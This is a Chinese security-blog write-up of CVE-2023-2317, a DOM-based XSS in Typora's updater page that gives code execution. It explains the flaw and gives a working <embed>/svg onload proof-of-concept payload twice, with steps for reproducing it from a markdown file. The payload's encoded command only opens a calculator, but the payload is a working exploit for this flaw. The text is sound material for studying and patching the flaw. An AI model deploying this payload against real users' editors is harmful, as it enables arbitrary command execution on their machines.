Typora远程代码执行漏洞CVE-2023-2317

admin 2024年5月19日01:22:06评论30 views字数 2088阅读6分57秒阅读模式

免费&进群

Typora远程代码执行漏洞CVE-2023-2317
Typora远程代码执行漏洞CVE-2023-2317

0x00 前言

漏洞详情

版本16.7以前的Typora中的updater/update.html存在基于DOM的XSS,可以通过加载定制的markdown文件实现任意javascript代码执行。

Typora远程代码执行漏洞CVE-2023-2317

原理分析

漏洞触发点位于Typora的updater.html文件,通过特定协议typora://即可访问,同时该文件可以通过URL进行参数传递。update.html在Windows上的参考路径如下:

file:///C:/Program%20Files/Typora/resources/updater/updater.html

查看update.html源码。

Typora远程代码执行漏洞CVE-2023-2317

HTML文件中的JavaScript代码会从当前URL的查询字符串中通过window.location.search提取名字为"labels"的参数值,解码后用JSON解析。然后使用document.querySelector("#sum").innerText来修改id为"sum"的HTML元素内的文字内容,将labels[4]和labels[5]中的特定部分插入其中。

同时使用document.querySelectorAll("[data-label]")找到所有"data-label"属性的HTML元素,将它们的属性值作为labels数组的key进行查询,并将查询到的value替换到innerHTML中的对应元素上。

Typora远程代码执行漏洞CVE-2023-2317

此时我们注意到几个关键点:

  1. labels数组输入可控;

  2. labels数据的数据没有检查和过滤;

  3. labels数组中部分元素会被放到innerHTML的对应元素中去;(见图1)

  4. 只有与"data-label"有关的元素会被放到labels数据组,即只有前4个元素可行(见图2)

简言之,如果存在一个满足上述条件的恶意JS代码被包含在labels数组中,我们就可以实现恶意JS的远程执行。现在我们就可以构造payload了。

恶意payload如下:

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

小tricks:

  • 此处使用reqnode('child_process').exec()创建子进程执行指定命令,其中reqnode是typora自行封装的require函数;

https://github.com/typora/typora-issues/issues/2226

在实战利用中,攻击者可以诱导用户打开恶意markdown文件或者从网站复制恶意文本到typora,通过标签<embed>引用update.html,实现远程的恶意JS加载。

漏洞复现

新建一个任意的文本文件,名为poc.txt,输入恶意payload。

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]">

Typora远程代码执行漏洞CVE-2023-2317

现在将poc.txt文件重命名为poc.md,并使用typora打开。

Typora远程代码执行漏洞CVE-2023-2317

演示版本为:

Typora远程代码执行漏洞CVE-2023-2317

原文地址: https://www.freebuf.com/vuls/377087.html

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):Typora远程代码执行漏洞CVE-2023-2317

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日01:22:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Typora远程代码执行漏洞CVE-2023-2317https://cn-sec.com/archives/2037292.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息